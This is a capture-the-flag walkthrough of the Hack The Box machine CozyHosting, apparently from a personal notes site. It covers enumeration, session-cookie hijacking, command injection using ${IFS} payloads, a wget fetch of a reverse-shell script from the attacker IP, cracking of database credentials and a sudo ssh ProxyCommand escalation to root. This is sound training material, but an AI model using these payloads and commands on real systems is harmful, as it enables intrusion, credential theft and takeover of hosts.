> For the complete documentation index, see [llms.txt](https://angellm.gitbook.io/hacknotes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://angellm.gitbook.io/hacknotes/htb/2023/cozyhosting.md). # CozyHosting [CozyHosting](https://app.hackthebox.com/machines/CozyHosting) is an **EASY** machine from the Hack The Box platform. In it we will take advantage of a **framework** vulnerability to obtain a session cookie that will allow us to log into a control panel. There we will be able to execute an **RCE** due to a bad sanitization in a text entry. Thanks to the RCE we will be able to obtain a **Reverse Shell** in the target system. Once inside the system, we will find some credentials in a database that will allow us to perform a **user pivoting**. Finally, we will take advantage of the **sudo privileges** of a binary to obtain a console as root. *** ## Enumeration Let’s start by scanning the open TCP ports of the target machine: `nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.11.230 -vvv -oG allPorts`

The scan reported that the ports 22(ssh) and 80(http) are open. Let’s do an exhaustive scan in those ports to try to identify the services and its versions. `nmap -sCV -p22,80 10.10.11.230 -oN targeted`

Apparently, there is an OpenSSH service running on the TCP port 22. On TCP port 80 is running a nginx service. It’s worth performing a quick scan of common paths and files using the nmap ***http-enum*** script. `nmap --script=http-enum -p80 10.10.11.230 -oN webContent`

Unfortunately, the scan did not reveal any information. Next we are going to use the **whatweb** tool to try to find out what web tools are being used and their versions. `whatweb http://10.10.11.230`

It tries to redirect us to [http://cozyhosting.htb](http://cozyhosting.htb/). Let’s add this domain in the **/etc/hosts** file:

Let’s use whatweb again to see if this time we get some more information: `whatweb http://cozyhosting.htb`

We see some information, but besides an email address () there doesn’t seem to be anything useful that we haven’t seen so far. Let’s check the website using the web-browser:

The source code of the page does not seem to reveal anything that we can use at the moment. We see that there is a Login button, let’s click it:

We see a login panel. We can try to see if it is vulnerable to **SQL injection**:

After testing with the most common queries, it does not appear to be vulnerable to SQLi. We are going to use the gobuster tool to search for directories: `gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://cozyhosting.htb -t 20`

Let’s search for subdomains, to see if we can find any: `gobuster vhost -u http://cozyhosting.htb/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --append-domain -t 20`

Nooothing, as the server is using nginx, let’s try using the nginx wordlist:

Nothing! After a while looking at the web page, I realized that when I do hovering over the icon in the mainpage, the url is

When I click on that icon this page appears:

Searching in Google for “Whitelabel Error Page exploit” I found [this interesting link](https://exploit-notes.hdks.org/exploit/web/framework/java/spring-pentesting/). It seems that if we see this error, the server may be using Spring Boot:

There is a wordlist called “spring-boot.txt” on SecLists that we can use to check it: `gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/spring-boot.txt -u http://cozyhosting.htb -t 20`

Looks like Spring is being used. It may be vulnerable to SSTI, but we have not found any point for exploiting this vulnerability yet. At we can see that there are some tokens. One of them appears to be related to the user **kanderson**.

Let’s intercept the login request on with **BurpSuite**

Here we can see that the website is using a Cookie named **JSESSIONID**. Let’s try to change the value with the one of the kanderson session:

Once done, let’s try to access to

Yeah, access granted. Let’s take a look at what we can do. All the links are broken, but we have a form we can send. Let’s intercept the request using **BurpSuite**:

Apparently we are receiving the output of an ssh command that doesn’t recognize “test” as a hostname. If we don’t provide an username this error appears:

It appears to be executing something like `ssh :` and not giving the username input leads into that error. Maybe we can concatenate code to make the target execute it? Let’s try it writing in the input `;ping -c1 10.10.14.7` and listening for icmp in our machine to see if the code gets executed: `tcpdump -i tun0 icmp -n`

Apparently the input cannot contain whitespaces, and URL encoding them don’t help. We can try replacing the spaces with `${IFS}` that will be interpreted by the bash as a space. So, the username input will look like this: `;ping${IFS}-c1${IFS}10.10.14.7`

Now the input seems right, but we keep getting an error. Maybe the command is not `ssh :` and it’s something like `ssh : flags and more code`. If this is the case, maybe we can comment everything at the right of out input by adding `;#` to the input. So the username input would be: `;ping${IFS}-c1${IFS}10.10.14.7;#` Yeah! Our machine received a ping from the target machine, so we can execute commands in the target machine. Let’s try to obtain a **reverse shell**: `;wget${IFS}http://10.10.14.7/revshell.sh${IFS}-P${IFS}/tmp;#`

Now, let’s change the permissions of the file to make it executable: `;chmod${IFS}`755`${IFS}/tmp/revshell.sh;#`

And now, let’s try to execute the script! `;/tmp/revshell.sh;#`

And we obtained a **reverse shell**! Let’s do the ***tty treatment***: ``` script -c bash /dev/null CTRL + Z stty raw -echo;fg reset xterm export TERM=xterm export SHELL=bash stty columns 206 rows 52 ``` Once done, let’s see with which user are we logged as:

Let’s take a look to the ***/etc/pass*** to see with users are registered with a bash:

So, **josh** and **root**.

There is a **jar** file on the current directory, so let’s transfer it to our machine to extract the data just in case there is anything useful.

I don’t know if it will be useful, but we got credentials to access a database: `postgres:VXXXXXXXxR`

The credentials were valid and now we can take a look to the database info! With the command `\dt` **psql** shows us the tables of the current database:

With the command `\d ` we can see the columns of a table. In this case, the table **hosts**:

With the query `SELECT id, username, hostname FROM host;` we can dump all the info contained in these columns:

Let’s do the same for the table **users**:

The passwords are encrypted, apparently in bcrypt. Let’s try to crack them using **john**:

After a while, **john** reports a coincidence for the admin password. et’s check if that password allows us to do user pivoting:

It didn’t work for root user, but it did for **josh**.

We found the user flag inside the user folder of josh. Now it’s time to do privilege escalation ## Privilege Escalation First of all let’s check if **josh** belongs to any privileged group or have any sudo permissions:

**josh** can run ssh as **root**! According to gtfobins.io, executing ssh with sudo rights can give us an interactive root shell!

`sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x`

And just like that we obtained a root shell, went to /root folder and found the root flag! ## New things learned * `${IFS}` is interpreted by **bash** as a white space. Useful for inputs. * In cases where we think we can inject a command it’ll be necessary to add `;` before the command we want to inject (in order to make sure that it’ll be executed after the rest of the command before) and append `;#` after the command we want to inject (in order to comment the rest of the command on the right if any) * **.jar** files are compressed files that can be decompressed with **unzip**.